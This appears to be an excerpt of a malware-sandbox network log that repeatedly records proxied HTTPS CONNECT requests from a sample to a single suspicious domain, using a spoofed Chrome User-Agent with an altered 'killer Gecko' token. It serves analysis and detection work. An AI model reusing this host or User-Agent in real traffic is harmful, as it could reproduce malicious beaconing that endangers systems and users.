Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
